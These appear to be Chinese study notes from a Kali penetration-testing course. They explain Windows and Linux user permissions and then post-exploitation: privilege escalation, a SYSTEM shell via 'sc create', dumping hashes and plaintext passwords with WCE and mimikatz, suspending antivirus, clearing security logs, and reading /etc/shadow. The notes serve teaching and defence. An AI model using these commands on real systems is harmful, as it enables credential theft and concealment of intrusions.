笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程
对不同的用户设置合适的权限是保证多任务操作系统安全的重要一环,取得shell并拿到系统权限,就相当于完全掌握了攻击目标的控制权。设置用户权限的一个基本原则即:设置最少的服务,分配最小的权限。不同操作系统设置的用户/用户组有所不同,常见的用户/用户组具体如下:
Administrators
管理员组,默认情况下,Administrators中的用户基本上对计算机/域有不受限制的完全访问权,分配给该组的默认权限允许对整个系统进行完全控制。
SYSTEM
拥有比Administrators还高的权限,但是这个组不允许任何用户的加入,在察看用户组的时候,它也不会被显示出来。系统和系统级的服务运行都是SYSTEM权限。
Power User
高级用户组,仅次于Administrators组的权限,可以执行除了为Administrators组保留任务外的其他任何操作系统任务。
Users
普通用户组,这个组的用户默认权限不允许成员修改操作系统的设置或用户资料,Users组提供了一个比较安全的程序运行环境,新建用户默认在这个分组。
Guests
来宾组,默认与Users组有同等甚至更低的访问权限。
Everyone
所有的用户,计算机上的所有用户都属于这个组。
Windows系统安装后默认用户为Administrators分组,选择任何一个文件或磁盘右键选择属性->安全
,在组和用户名中就可以配置文件的访问权限。不同的Window版本用户组配置不同,如Windows家庭版没有Power User分组。
在Linux系统用户的角色是通过UID和GID识别的,UID是系统用户的唯一有效标识。UID分为三类:
root
其UID和GID均为0,拥有最高的管理权限,对计算机有不受限制的完全访问权。
普通用户
UID(500~65535),一般是由具备root权限的运维人员添加,作为一般用户登录使用。
服务用户
UID(1~499),与真实用户相区分,一些服务用户安装系统后即存在,基于安全考虑,服务用户默认不能登录系统,他们的存在主要是方便系统管理、提供服务,例如系统默认的bin、sys、nodoby、mail用户等。
chmod
命令修改文件读/写/执行权限
eg:
chmod g+x,o-x example.txt
chmod 755 example.txt
# umask按照rwx的顺序,权重为421
# umask为0022,第一个0为特殊权限,022为普通权限
# 即默认新建可执行文件权限755,新建不可执行文件权限644
chown
命令修改文件所有者/所有组
chown root:rgroup example.txt
在渗透测试过程中往往一开始取得的是一个普通用户的shell,这时要想进一步操作要从普通用户权限提权至Administrator甚至System,这时需要利用系统漏洞、软件漏洞或配置不当进行提权,这里仅提供几个基本思路:
基于Metasploit
基于Metasploit相应模块进行漏洞利用(搜索模块如:search ms14-068
)。
基于Exploit-DB
在Kali中searchsploit
或在 Exploit-DB官网 搜索Exp(如:ms14-068),在Exp基础上进行漏洞利用(可能需要对Exp进行修改、编译等)。
一旦取得Administrator甚至System权限后,可操作的空间就大了很多,可以窃取用户密码、修改系统配置等。
注意:Windows系统登录后SAM文件是被锁死的,不能复制、移动,正常情况下打开是乱码或空白,所以读取SAM文件要通过登录并提权后使用特殊工具,或者采取物理接触等非登录手段获取;而Linux相对而言则简单很多,取得root权限后直接读取/etc/shadow
、/etc/passwd
就可以获取用户账号及HASH。
sc create syscmd binPath= "cmd /K start" type= interact type= own
# 创建syscmd服务,服务执行命令"cmd /K start",交互式运行
sc start syscmd
# 开启服务
注:在开始菜单或者在 C:\windows\system32\
通过管理员权限运行cmd,只是临时取得管理员权限,进程的的所有者仍然是普通账户,可以在cmd中用whoami
命令查看,也可以通过任务管理器查看进程所属用户。
WINLOGON进程提供认证,计算HASH值,交由LSASS进程,LSASS进程会调用系统内核相应的安全模块,将HASH与SAM库进行比对,比对成功则登入操作系统。
图1 Windows登录认证过程
注:WDigest 是在 Windows XP 操作系统中引入的摘要认证机制,可以用来对HTTP、SASL等协议进行身份验证,但这种机制将明文密码保存在内存中,很不安全。
WCE(Windows Credentical Editor)(仅支持Windows XP, 2003, Vista, 7, 2008 and 8),从内存中读取认证信息,WCE会先以安全模式运行,如果发生错误则会以注入进程等非安全形式运行,非安全形式容易对操作系统造成破坏。
在Kali中有wce工具:/usr/share/windows-resources/wce
将wce拷贝至Windows中,在wce文件夹下以管理员权限运行cmd:
# wce-universal会根据系统自动选择32或64位程序运行
wce-universal.exe -l / -lv
# -l:列出已经登录的用户凭证(NTLM HASH值)
# -v:详细输出,列出hash id、读取模式等
wce-universal.exe -d
# -d:删除已登录用户的凭证
wce-universal.exe -w
# -w:列出WDigest认证模块保存在内存中的明文密码
将WDigest关闭: 在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
中的Security Packages
项,删除wdigest
、tspk
在Kali中有mimikatz工具:/usr/share/windows-resources/mimikatz
将wce拷贝至Windows中,在wce文件夹下以管理员权限运行cmd:
在mimikatz交互界面,输入::
可以看到mimikatz有privilege、sekurlsa、ts、process、event 等20多种模块,每个模块下又分为多个子模块,具体使用如:
mimikatz # 进入mimikatz交互界面
:: # 命令提示
privilege::debug # 提权到debug模式
sekurlsa::logonPasswords # 列出所有登录用户的凭证
sekurlsa::wdigest # 列出wdigest模块在内存中保存的明文密码
process::list # 列出当前进程
process:: suspend # 挂起进程,如杀毒软件
process:: stop # 关闭进程
ts::multirdp # 允许多个用户同时进行远程桌面控制
event::clear # 清除操作系统中的安全日志
event::drop # 不再产生新的日志
取得root权限后查看用户账号信息、修改系统配置等:
cat /etc/passwd
cat /etc/shadow
vi /etc/resolv.conf